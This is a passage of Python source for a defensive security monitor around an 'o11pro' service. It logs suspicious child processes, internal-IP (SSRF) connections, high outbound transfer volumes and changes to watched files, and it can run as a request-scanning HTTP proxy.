"""Check for suspicious child processes."""
|
||||
for child_pid in children - self.prev_children:
|
||||
cmdline = self._get_child_cmdline(child_pid)
|
||||
if not cmdline:
|
||||
continue
|
||||
for pattern in ATTACK_SIGNATURES['suspicious_process']:
|
||||
if re.match(pattern, cmdline, re.IGNORECASE):
|
||||
self.logger.log(
|
||||
'suspicious_process', 'CRITICAL', 'child',
|
||||
f'Suspicious child process spawned: PID={child_pid} cmd={cmdline[:200]}'
|
||||
)
|
||||
# Log all new child processes
|
||||
self.logger.log(
|
||||
'child_process', 'INFO', 'child',
|
||||
f'New child process: PID={child_pid} cmd={cmdline[:200]}'
|
||||
)
|
||||
|
||||
def check_connections(self, conns):
|
||||
"""Check for suspicious network connections."""
|
||||
for ip, port, proto in conns - self.prev_connections:
|
||||
# Check suspicious IPs
|
||||
if ip in SUSPICIOUS_IPS:
|
||||
self.logger.log(
|
||||
'suspicious_connection', 'HIGH', 'net',
|
||||
f'Connection to known-suspicious IP: {ip}:{port} ({proto})'
|
||||
)
|
||||
# Check unexpected ports
|
||||
if port not in EXPECTED_PORTS:
|
||||
self.logger.log(
|
||||
'unexpected_port', 'MEDIUM', 'net',
|
||||
f'Connection to unexpected port: {ip}:{port} ({proto})'
|
||||
)
|
||||
# Check for private IP access (potential SSRF)
|
||||
try:
|
||||
parts = ip.split('.')
|
||||
if len(parts) == 4:
|
||||
first = int(parts[0])
|
||||
if first == 10 or (first == 172 and 16 <= int(parts[1]) <= 31) or \
|
||||
(first == 192 and int(parts[1]) == 168) or ip == '127.0.0.1':
|
||||
self.logger.log(
|
||||
'ssrf_internal', 'HIGH', 'net',
|
||||
f'Connection to internal IP: {ip}:{port} ({proto})'
|
||||
)
|
||||
except (ValueError, IndexError):
|
||||
pass
|
||||
|
||||
# Log all new connections
|
||||
self.logger.log(
|
||||
'connection', 'INFO', 'net',
|
||||
f'New connection: {ip}:{port} ({proto})'
|
||||
)
|
||||
|
||||
def check_exfil(self, io):
|
||||
"""Check for high-volume data transfer (exfiltration)."""
|
||||
if not self.prev_io or not io:
|
||||
return
|
||||
bytes_sent_delta = io.get('write_bytes', 0) - self.prev_io.get('write_bytes', 0)
|
||||
if bytes_sent_delta > EXFIL_THRESHOLD:
|
||||
self.logger.log(
|
||||
'potential_exfil', 'HIGH', 'net',
|
||||
f'High outbound transfer: {bytes_sent_delta / 1024 / 1024:.1f} MB in {SCAN_INTERVAL}s interval'
|
||||
)
|
||||
|
||||
def scan(self):
|
||||
"""Run one scan cycle."""
|
||||
if not os.path.exists(f'/proc/{self.pid}'):
|
||||
self.logger.log('process_exit', 'HIGH', 'proc', f'Process {self.pid} no longer exists')
|
||||
self.running = False
|
||||
return
|
||||
|
||||
children = self._get_children()
|
||||
fds = self._get_fds()
|
||||
conns = self._get_connections()
|
||||
io = self._get_io()
|
||||
|
||||
self.check_suspicious_files(fds)
|
||||
self.check_suspicious_children(children)
|
||||
self.check_connections(conns)
|
||||
self.check_exfil(io)
|
||||
|
||||
self.prev_children = children
|
||||
self.prev_fds = fds
|
||||
self.prev_connections = conns
|
||||
self.prev_io = io
|
||||
|
||||
def run(self):
|
||||
"""Main monitoring loop."""
|
||||
self.logger.log('monitor_start', 'INFO', 'proc', f'Started monitoring PID {self.pid}')
|
||||
while self.running:
|
||||
try:
|
||||
self.scan()
|
||||
except Exception as e:
|
||||
self.logger.log('monitor_error', 'LOW', 'proc', f'Scan error: {e}')
|
||||
time.sleep(SCAN_INTERVAL)
|
||||
|
||||
|
||||
# HTTP Proxy
|
||||
|
||||
class ProxyRequestHandler(BaseHTTPRequestHandler):
|
||||
"""HTTP proxy handler that scans all requests for attacks."""
|
||||
|
||||
detector = None
|
||||
logger = None
|
||||
target_host = '127.0.0.1'
|
||||
target_port = 19999
|
||||
|
||||
def log_message(self, format, *args):
|
||||
pass # suppress default logging
|
||||
|
||||
def _forward(self, method):
|
||||
"""Forward request to target and scan for attacks."""
|
||||
content_length = int(self.headers.get('Content-Length', 0))
|
||||
body = self.rfile.read(content_length) if content_length > 0 else b''
|
||||
|
||||
self.logger.log('http_request', 'INFO', 'http',
|
||||
f'{method} {self.path} from {self.client_address[0]}')
|
||||
self.detector.scan_url(self.path, 'http')
|
||||
self.detector.scan_headers(dict(self.headers), 'http')
|
||||
if body:
|
||||
self.detector.scan_body(body, 'http')
|
||||
|
||||
|
||||
try:
|
||||
conn = http.client.HTTPConnection(self.target_host, self.target_port, timeout=30)
|
||||
headers = dict(self.headers)
|
||||
headers['Host'] = f'{self.target_host}:{self.target_port}'
|
||||
conn.request(method, self.path, body=body, headers=headers)
|
||||
response = conn.getresponse()
|
||||
resp_body = response.read()
|
||||
|
||||
self.detector.scan_body(resp_body, 'http_resp')
|
||||
|
||||
|
||||
self.send_response(response.status)
|
||||
for key, val in response.getheaders():
|
||||
if key.lower() not in ('transfer-encoding', 'connection'):
|
||||
self.send_header(key, val)
|
||||
self.send_header('Content-Length', str(len(resp_body)))
|
||||
self.end_headers()
|
||||
self.wfile.write(resp_body)
|
||||
conn.close()
|
||||
except Exception as e:
|
||||
self.logger.log('proxy_error', 'MEDIUM', 'http', f'Forward error: {e}')
|
||||
self.send_response(502)
|
||||
self.end_headers()
|
||||
self.wfile.write(b'Bad Gateway')
|
||||
|
||||
def do_GET(self):
|
||||
self._forward('GET')
|
||||
|
||||
def do_POST(self):
|
||||
self._forward('POST')
|
||||
|
||||
def do_PUT(self):
|
||||
self._forward('PUT')
|
||||
|
||||
def do_DELETE(self):
|
||||
self._forward('DELETE')
|
||||
|
||||
def do_PATCH(self):
|
||||
self._forward('PATCH')
|
||||
|
||||
def do_OPTIONS(self):
|
||||
self.send_response(200)
|
||||
self.send_header('Access-Control-Allow-Origin', '*')
|
||||
self.send_header('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE, PATCH, OPTIONS')
|
||||
self.send_header('Access-Control-Allow-Headers', 'Content-Type, Authorization, X-Requested-With')
|
||||
self.end_headers()
|
||||
|
||||
|
||||
class ThreadedProxyServer(ThreadingMixIn, HTTPServer):
|
||||
"""Threaded HTTP proxy server for concurrent request handling."""
|
||||
daemon_threads = True
|
||||
allow_reuse_address = True
|
||||
|
||||
|
||||
def run_proxy(port, target_host, target_port, detector, logger):
|
||||
"""Run the HTTP proxy server."""
|
||||
ProxyRequestHandler.detector = detector
|
||||
ProxyRequestHandler.logger = logger
|
||||
ProxyRequestHandler.target_host = target_host
|
||||
ProxyRequestHandler.target_port = target_port
|
||||
server = ThreadedProxyServer(('0.0.0.0', port), ProxyRequestHandler)
|
||||
logger.log('proxy_start', 'INFO', 'http',
|
||||
f'Proxy listening on 0.0.0.0:{port}, forwarding to {target_host}:{target_port}')
|
||||
server.serve_forever()
|
||||
|
||||
|
||||
# File watcher
|
||||
|
||||
class FileWatcher:
|
||||
"""Watch key files for unauthorized changes."""
|
||||
|
||||
def __init__(self, logger, watch_paths=None):
|
||||
self.logger = logger
|
||||
self.watch_paths = watch_paths or [
|
||||
'keys.txt',
|
||||
'providers/sample.cfg',
|
||||
'o11.cfg',
|
||||
'logs/',
|
||||
'hls/',
|
||||
]
|
||||
self.prev_state = {}
|
||||
|
||||
def _scan_path(self, path):
|
||||
"""Get current state of a path (file hash or dir listing)."""
|
||||
import hashlib
|
||||
if os.path.isfile(path):
|
||||
try:
|
||||
with open(path, 'rb') as f:
|
||||
return hashlib.md5(f.read()).hexdigest()
|
||||
except (PermissionError, FileNotFoundError):
|
||||
return None
|
||||
elif os.path.isdir(path):
|
||||
result = {}
|
||||
try:
|
||||
for entry in os.listdir(path):
|
||||
full = os.path.join(path, entry)
|
||||
if os.path.isfile(full):
|
||||
try:
|
||||
with open(full, 'rb') as f:
|
||||
result[entry] = hashlib.md5(f.read()).hexdigest()
|
||||
except (PermissionError, FileNotFoundError):
|
||||
pass
|
||||
elif os.path.isdir(full):
|
||||
result[entry] = 'dir'
|
||||
except (PermissionError, FileNotFoundError):
|
||||
pass
|
||||
return result
|
||||
return None
|
||||
|
||||
def scan(self):
|
||||
"""Scan watched paths for changes."""
|
||||
for path in self.watch_paths:
|
||||
current = self._scan_path(path)
|
||||
if path not in self.prev_state:
|
||||
self.prev_state[path] = current
|
||||
continue
|
||||
if current != self.prev_state[path]:
|
||||
if os.path.isfile(path):
|
||||
self.logger.log('file_change', 'MEDIUM', 'file',
|
||||
f'File changed: {path}')
|
||||
elif os.path.isdir(path):
|
||||
old = self.prev_state[path] or {}
|
||||
new = current or {}
|
||||
for f in set(new.keys()) - set(old.keys()):
|
||||
self.logger.log('file_create', 'LOW', 'file',
|
||||
f'New file in {path}: {f}')
|
||||
for f in set(old.keys()) - set(new.keys()):
|
||||
self.logger.log('file_delete', 'LOW', 'file',
|
||||
f'File deleted from {path}: {f}')
|
||||
for f in set(new.keys()) & set(old.keys()):
|
||||
if old[f] != new[f] and old[f] != 'dir' and new[f] != 'dir':
|
||||
self.logger.log('file_modify', 'MEDIUM', 'file',
|
||||
f'File modified in {path}: {f}')
|
||||
self.prev_state[path] = current
|
||||
|
||||
def run(self):
|
||||
while True:
|
||||
try:
|
||||
self.scan()
|
||||
except Exception as e:
|
||||
self.logger.log('watcher_error', 'LOW', 'file', f'Watch error: {e}')
|
||||
time.sleep(5)
|
||||
|
||||
|
||||
# Main
|
||||
|
||||
def find_o11_pid():
|
||||
"""Auto-detect the o11 PID."""
|
||||
name_patterns = ['o11pro', 'o11pro']
|
||||
|
||||
for pattern in name_patterns:
|
||||
try:
|
||||
result = subprocess.run(['pgrep', '-f', pattern], capture_output=True, text=True)
|
||||
if result.stdout.strip():
|
||||
pids = result.stdout.strip().split('\n')
|
||||
if pids:
|
||||
return int(pids[0])
|
||||
except (FileNotFoundError, ValueError):
|
||||
pass
|
||||
|
||||
for pid_file in (DEFAULT_PID_FILE, '/tmp/o11e2e/pid'):
|
||||
try:
|
||||
with open(pid_file) as f:
|
||||
pid = int(f.read().strip())
|
||||
if os.path.exists(f'/proc/{pid}'):
|
||||
return pid
|
||||
except (FileNotFoundError, ValueError):
|
||||
pass
|
||||
|
||||
for entry in os.listdir('/proc'):
|
||||
if not entry.isdigit():
|
||||
continue
|
||||
try:
|
||||
with open(f'/proc/{entry}/cmdline', 'rb') as f:
|
||||
cmdline = f.read().decode('utf-8', errors='replace')
|
||||
for pattern in name_patterns:
|
||||
if pattern in cmdline:
|
||||
return int(entry)
|
||||
except (FileNotFoundError, PermissionError):
|
||||
pass
|
||||
|
||||
return None
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description='Security monitor for o11pro')
|
||||
parser.add_argument('--pid', type=int, help='PID of o11 process to monitor (auto-detected if omitted)')
|
||||
parser.add_argument('--log', default=DEFAULT_AUDIT_LOG, help='Audit log file path')
|
||||
parser.add_argument('--alerts', default=DEFAULT_ALERT_LOG, help='Alerts log file path (HIGH/CRITICAL only)')
|
||||
parser.add_argument('--proxy-mode', action='store_true', help='Run as HTTP proxy (intercepts all API traffic)')
|
||||
parser.add_argument('--proxy-port', type=int, default=DEFAULT_PROXY_PORT, help='Proxy listen port')
|
||||
parser.add_argument('--target-port', type=int, default=19999, help='Target port (the real o11 API)')
|
||||
parser.add_argument('--no-proc', action='store_true', help='Disable process monitoring')
|
||||
parser.add_argument('--no-files', action='store_true', help='Disable file watching')
|
||||
parser.add_argument('--once', action='store_true', help='Run one scan and exit')
|
||||
args = parser.parse_args()
|
||||
|
||||
logger = AuditLogger(args.log, args.alerts)
|
||||
detector = AttackDetector(logger)
|
||||
|
||||
logger.log('startup', 'INFO', 'main', f'Security monitor v{VERSION} starting')
|
||||
logger.log('startup', 'INFO', 'main', f'Audit log: {args.log}')
|
||||
logger.log('startup', 'INFO', 'main', f'Alerts log: {args.alerts}')
|
||||
|
||||
|
||||
if args.proxy_mode:
|
||||
proxy_thread = threading.Thread(
|
||||
target=run_proxy,
|
||||
args=(args.proxy_port, '127.0.0.1', args.target_port, detector, logger),
|
||||
daemon=True
|
||||
)
|
||||
proxy_thread.start()
|
||||
logger.log('startup', 'INFO', 'main',
|
||||
f'Proxy mode active point your client to :{args.proxy_port} instead of :{args.target_port}')
|
||||
|
||||
pid = args.pid or find_o11_pid()
|
||||
if not pid:
|
||||
logger.log('startup', 'ERROR', 'main', 'Could not find o11 process. Use --pid to specify.')
|
||||
if not args.proxy_mode:
|
||||
sys.exit(1)
|
||||
logger.log('startup', 'INFO', 'main', 'Running in proxy-only mode (no process monitoring)')
|
||||
else:
|
||||
logger.log('startup', 'INFO', 'main', f'Monitoring PID {pid}')
|
||||
|
||||
if pid and not args.no_proc:
|
||||
proc_monitor = ProcessMonitor(pid, logger, detector)
|
||||
if args.once:
|
||||
proc_monitor.scan()
|
||||
else:
|
||||
proc_thread = threading.Thread(target=proc_monitor.run, daemon=True)
|
||||
proc_thread.start()
|
||||
|
||||
if not args.no_files:
|
||||
watcher = FileWatcher(logger)
|
||||
if args.once:
|
||||
watcher.scan()
|
||||
else:
|
||||
watch_thread = threading.Thread(target=watcher.run, daemon=True)
|
||||
watch_thread.start()
|
||||
|
||||
if args.once:
|
||||
logger.log('shutdown', 'INFO', 'main', 'One-shot scan complete')
|
||||
return
|
||||
|
||||
modes = []
|
||||
if args.proxy_mode:
|
||||
modes.append(f'proxy on :{args.proxy_port}')
|
||||
if pid and not args.no_proc:
|
||||
modes.append(f'process monitor (PID {pid})')
|
||||
if not args.no_files:
|
||||
modes.append('file watcher')
|
||||
|
||||
logger.log('startup', 'INFO', 'main',
|
||||
f'Monitor running {", ".join(modes) or "no active modules"}. Press Ctrl+C to stop.')
|
||||
try:
|
||||
while True:
|
||||
time.sleep(1)
|
||||
except KeyboardInterrupt:
|
||||
logger.log('shutdown', 'INFO', 'main', 'Shutting down (Ctrl+C)')
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||